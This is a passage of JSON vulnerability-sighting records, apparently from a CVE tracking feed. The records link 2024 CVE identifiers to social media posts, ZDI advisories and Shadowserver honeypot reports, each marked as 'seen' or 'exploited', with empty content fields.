"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12299", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodio7ii2t", "content": "", "creation_timestamp": "2025-01-30T14:16:37.064684Z"}, {"uuid": "7ec04dcf-308b-4222-b61a-18ef78600969", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12320", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodkwewu2h", "content": "", "creation_timestamp": "2025-01-30T14:16:39.563050Z"}, {"uuid": "a0e4f10c-aba5-43d3-ad93-fe6af0be8d31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12444", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodnhyp32f", "content": "", "creation_timestamp": "2025-01-30T14:16:42.244309Z"}, {"uuid": "d6f45064-b58e-4bac-98d0-fd3d3fcc2df4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12451", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodpm6at2c", "content": "", "creation_timestamp": "2025-01-30T14:16:44.446921Z"}, {"uuid": "e6ca2bcb-5c92-48bb-b3ed-8aaf191e580f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12821", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodrrphc2i", "content": "", "creation_timestamp": "2025-01-30T14:16:46.746850Z"}, {"uuid": "53928745-6984-419d-9e24-e9a599604f01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1211", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgz2xz5iws2r", "content": "", "creation_timestamp": "2025-01-31T03:35:30.252936Z"}, {"uuid": "974daae3-fe38-41f2-b475-b449f021ad8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12822", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodu27tl2t", "content": "", "creation_timestamp": "2025-01-30T14:16:49.250230Z"}, {"uuid": "1f63625f-eccd-4243-bca3-1f67be2919b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12760", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lgod4lqjpm2c", "content": "", "creation_timestamp": "2025-01-26T21:01:57.954683Z"}, {"uuid": "e89798cf-0a70-48ea-9939-edaa65cbaf77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12861", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodxbeh72e", "content": "", "creation_timestamp": "2025-01-30T14:16:52.648918Z"}, {"uuid": "d436f50b-3903-4abb-b12b-e8d901bc7813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12444", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917730431983422", "content": "", "creation_timestamp": "2025-01-30T14:16:59.754512Z"}, {"uuid": "b0305332-bdcb-43ac-924a-7091d49d0627", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12299", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917730403182409", "content": "", "creation_timestamp": "2025-01-30T14:16:59.210721Z"}, {"uuid": "d0b855d4-00b3-4334-aad9-6f7917011cf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12320", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917730417729767", "content": "", "creation_timestamp": "2025-01-30T14:16:59.439880Z"}, {"uuid": "3428c2c8-ca11-4fee-a756-a83b4ecefdc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113901463537711437", "content": "", "creation_timestamp": "2025-01-27T17:20:06.498077Z"}, {"uuid": "f1e47abf-c6be-4cd4-b8fc-e8d34754903c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12451", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917730446370008", "content": "", "creation_timestamp": "2025-01-30T14:16:59.969262Z"}, {"uuid": "ccd7d811-0088-44f6-b836-a7b29ce58178", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113903698571274333", "content": "", "creation_timestamp": "2025-01-28T02:48:30.689733Z"}, {"uuid": "a2f4c76e-7838-4336-a312-f4f240a207db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113903698622362108", "content": "", "creation_timestamp": "2025-01-28T02:48:32.619607Z"}, {"uuid": "38669468-a89d-4ebf-9352-0c8b75ebe90a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113903698684985015", "content": "", "creation_timestamp": "2025-01-28T02:48:32.727504Z"}, {"uuid": "7c769ead-0e0d-4e21-9099-bb71ed31684f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lgz3kjbihc2b", "content": "", "creation_timestamp": "2025-01-31T03:45:54.250084Z"}, {"uuid": "050717e3-9b43-45f0-877d-0245ca7d4511", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lh3hs3wo6d2l", "content": "", "creation_timestamp": "2025-02-01T02:30:10.776656Z"}, {"uuid": "31a538ed-4273-4762-a909-eddc3077594b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12602", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhjjt63xg52z", "content": "", "creation_timestamp": "2025-02-06T16:43:55.463259Z"}, {"uuid": "088925cf-4966-4668-baea-f1667c0e1ea0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12822", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917789464466680", "content": "", "creation_timestamp": "2025-01-30T14:32:02.479858Z"}, {"uuid": "a52dc697-14b2-4b13-9600-efeb62655147", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12861", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917789478720881", "content": "", "creation_timestamp": "2025-01-30T14:32:02.599434Z"}, {"uuid": "09f1ee74-4ef5-49b6-a5ef-105958ec008d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12620", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh3np7oasu2h", "content": "", "creation_timestamp": "2025-02-01T04:15:55.521172Z"}, {"uuid": "871b8038-71f5-4f26-9877-5b6b9dffd130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12821", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917789448525935", "content": "", "creation_timestamp": "2025-01-30T14:32:02.719607Z"}, {"uuid": "d6de9bf0-3e9f-402b-bb10-296069f20e35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgqkcdgfah27", "content": "", "creation_timestamp": "2025-01-27T18:15:45.127729Z"}, {"uuid": "e3867a62-f539-46db-893e-f68524a863a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12171", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh3np2z4qf2c", "content": "", "creation_timestamp": "2025-02-01T04:15:50.717944Z"}, {"uuid": "14fec1bf-4f7f-4bcf-ba42-3a1b6d9521de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12184", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh3np5fh7m2i", "content": "", "creation_timestamp": "2025-02-01T04:15:53.525754Z"}, {"uuid": "d7547861-b4cb-4e43-8640-c24f069d59ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-073/", "content": "", "creation_timestamp": "2025-01-31T05:00:00.000000Z"}, {"uuid": "9253dd0f-e4b4-4c21-addb-c5feeb00a03e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-31)", "content": "", "creation_timestamp": "2025-03-31T00:00:00.000000Z"}, {"uuid": "6f9fe550-511d-4257-863f-1db3933f5b52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lgdprzfpec2k", "content": "", "creation_timestamp": "2025-01-22T15:49:25.859669Z"}, {"uuid": "13f6d516-a444-4897-bb6c-e795b86cfa3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-075/", "content": "", "creation_timestamp": "2025-01-31T05:00:00.000000Z"}, {"uuid": "2ab4a480-a878-484a-934c-6442507aaf34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12600", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887647773020346", "content": "", "creation_timestamp": "2025-01-25T06:46:35.527642Z"}, {"uuid": "abf91457-8131-4124-892d-91b7f8f46945", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgvyno7slf2e", "content": "", "creation_timestamp": "2025-01-29T22:15:56.549076Z"}, {"uuid": "8a6edb0f-1f00-4bf3-b591-7b2d51930428", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:59.000000Z"}, {"uuid": "ad8ea68d-76d7-4c8d-84c8-aa129c18e1c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12035", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114120991550927514", "content": "", "creation_timestamp": "2025-03-07T11:48:58.427305Z"}, {"uuid": "9a0c00d7-d19c-4200-92a4-64d92af29fdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lkpl7nx7xn2u", "content": "", "creation_timestamp": "2025-03-19T06:40:16.079268Z"}, {"uuid": "2575b45c-63f8-4c60-b435-794f58ad8d47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12876", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114120991585951470", "content": "", "creation_timestamp": "2025-03-07T11:48:59.472291Z"}, {"uuid": "d3e81458-29b5-4ead-bbd9-69fe18926ede", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-08)", "content": "", "creation_timestamp": "2025-02-08T00:00:00.000000Z"}, {"uuid": "78eb2ff6-b1b9-4681-8d10-8577c40af41f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12295", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114187757507266850", "content": "", "creation_timestamp": "2025-03-19T06:48:26.064303Z"}, {"uuid": "46233b74-f4ec-4536-930e-f0f9d3622715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12918", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lix3n5adv62t", "content": "", "creation_timestamp": "2025-02-24T19:32:23.722401Z"}, {"uuid": "6953abed-13c1-44e4-80a7-564b25b6fb32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lj3jyis2h7d2", "content": "", "creation_timestamp": "2025-02-26T14:07:40.508121Z"}, {"uuid": "1e4e0484-0ad6-4de8-890b-ab4a5844d18b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12144", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljrxij7o742d", "content": "", "creation_timestamp": "2025-03-07T12:00:05.806435Z"}, {"uuid": "4958ff75-0cb2-4a74-8cbc-fc8e848e11a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12917", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lix3n5ikug2s", "content": "", "creation_timestamp": "2025-02-24T19:32:25.030764Z"}, {"uuid": "ae4e3e5b-c464-4593-9981-2a082363bbe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12916", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lix3n5stib2q", "content": "", "creation_timestamp": "2025-02-24T19:32:26.337302Z"}, {"uuid": "5ae8d0fb-9a40-4074-903b-fca1f0019d02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lhs75sxhjc2n", "content": "", "creation_timestamp": "2025-02-10T03:27:01.227549Z"}, {"uuid": "1903845f-0dc6-453c-8207-e230d6352e26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12754", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lhsbiieek22f", "content": "", "creation_timestamp": "2025-02-10T04:08:42.805201Z"}, {"uuid": "69cfdfd7-2bbb-4130-981a-5e5849981bb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12876", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljrxr4ossd2q", "content": "", "creation_timestamp": "2025-03-07T12:04:56.120695Z"}, {"uuid": "f7857e84-915e-458e-b8be-87d0f99238b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkpoa2gon326", "content": "", "creation_timestamp": "2025-03-19T07:34:11.319936Z"}, {"uuid": "8efe96ae-da2b-4f0b-85eb-b075a319d91e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12295", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkpoa2jy5z2e", "content": "", "creation_timestamp": "2025-03-19T07:34:11.883818Z"}, {"uuid": "88f2b8d2-df03-49c2-86b6-037caeea6e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lktsgno5gq27", "content": "", "creation_timestamp": "2025-03-20T23:00:05.763350Z"}, {"uuid": "0fdbe7fd-6e95-4507-a7a5-4b728c333e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12634", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljs6hull3k2a", "content": "", "creation_timestamp": "2025-03-07T14:05:01.696274Z"}, {"uuid": "ca2280af-a1d3-412f-b6eb-e80b4b366541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-08)", "content": "", "creation_timestamp": "2025-03-08T00:00:00.000000Z"}, {"uuid": "3c710e97-9f81-4978-a9e7-5b40b1d3b47c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12754", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lht6gbxrl5p2", "content": "", "creation_timestamp": "2025-02-10T12:46:37.571444Z"}, {"uuid": "093e37b2-71a8-49b4-9cbe-8886e91adade", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113980300155433076", "content": "", "creation_timestamp": "2025-02-10T15:29:19.952517Z"}, {"uuid": "1ed3525c-1a9f-45ce-a68b-fb98fe380b9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113980300172191548", "content": "", "creation_timestamp": "2025-02-10T15:29:20.248834Z"}, {"uuid": "dfa3fbc2-0652-402e-837f-928b3c9c22cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://bsky.app/profile/decrypt.lol/post/3lhtin76fce2q", "content": "", "creation_timestamp": "2025-02-10T15:49:14.119683Z"}, {"uuid": "49572e5a-54f6-49d0-89c1-2ffa6d0becdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhtk5k5k4m2i", "content": "", "creation_timestamp": "2025-02-10T16:16:15.064521Z"}, {"uuid": "d2893039-12e5-48fa-9388-ea6ff470a1d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhtk5mlo7v2n", "content": "", "creation_timestamp": "2025-02-10T16:16:18.020542Z"}, {"uuid": "0ab96344-a564-4900-94ce-26be0523ddd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://threatintel.cc/2025/02/10/hackers-exploit-anydesk-vulnerability-to.html", "content": "", "creation_timestamp": "2025-02-10T10:33:16.000000Z"}, {"uuid": "2c1d5fc6-7438-41c1-aa11-8a8cc18b0043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lhtr5gb2ex24", "content": "", "creation_timestamp": "2025-02-10T18:21:27.425934Z"}, {"uuid": "6b482522-efe6-4ece-9c83-b3a0bc8aa639", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lhtrkyerjc26", "content": "", "creation_timestamp": "2025-02-10T18:29:03.050558Z"}, {"uuid": "3861592a-ffa6-49f4-b711-4deb0c5506b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhtx7nglsf2e", "content": "", "creation_timestamp": "2025-02-10T20:10:04.777060Z"}, {"uuid": "76438db4-8f46-4cae-b604-0ee415384b99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhtx7obexr2d", "content": "", "creation_timestamp": "2025-02-10T20:10:08.552983Z"}, {"uuid": "542f74f1-ac39-45ca-a61e-5a5253221262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114188229040957227", "content": "", "creation_timestamp": "2025-03-19T08:48:21.219005Z"}, {"uuid": "72f6ceb3-464a-404f-b7d1-d31be12cdaec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3ljahaj26si2n", "content": "", "creation_timestamp": "2025-02-28T12:54:01.924992Z"}, {"uuid": "cbe92299-da15-4de4-92cc-4a82a502fd78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12095", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulr7dhu42c", "content": "", "creation_timestamp": "2025-02-11T02:17:48.324748Z"}, {"uuid": "21568050-3223-4157-af82-1a3f8178a46f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12161", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrc6jzn2q", "content": "", "creation_timestamp": "2025-02-11T02:17:51.252453Z"}, {"uuid": "e49a2fe6-0a65-479f-89d3-b25c719b3c9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12242", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrel2bf2q", "content": "", "creation_timestamp": "2025-02-11T02:17:53.877911Z"}, {"uuid": "57c6cdaf-e698-49b2-8f49-b44ef4621758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12246", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrgu7ib2n", "content": "", "creation_timestamp": "2025-02-11T02:17:56.426040Z"}, {"uuid": "b2b429ff-b675-47cb-b82e-9f5dc741b60c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12763", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrj6jqa27", "content": "", "creation_timestamp": "2025-02-11T02:17:58.969996Z"}, {"uuid": "f5e1c7ad-fcbc-4e3b-9c1e-8f423e0021b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12764", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrlgw3y22", "content": "", "creation_timestamp": "2025-02-11T02:18:01.375587Z"}, {"uuid": "2f3bf04e-c250-4b03-ade5-bb4ac46a3f56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12765", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrnpzo522", "content": "", "creation_timestamp": "2025-02-11T02:18:03.745829Z"}, {"uuid": "882363bf-9893-4906-b339-ffb127685a39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12904", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhulrq7qw42c", "content": "", "creation_timestamp": "2025-02-11T02:18:06.097698Z"}, {"uuid": "4c24e0bc-4e2b-48de-b2c0-ec71bd064654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12019", "type": "seen", "source": 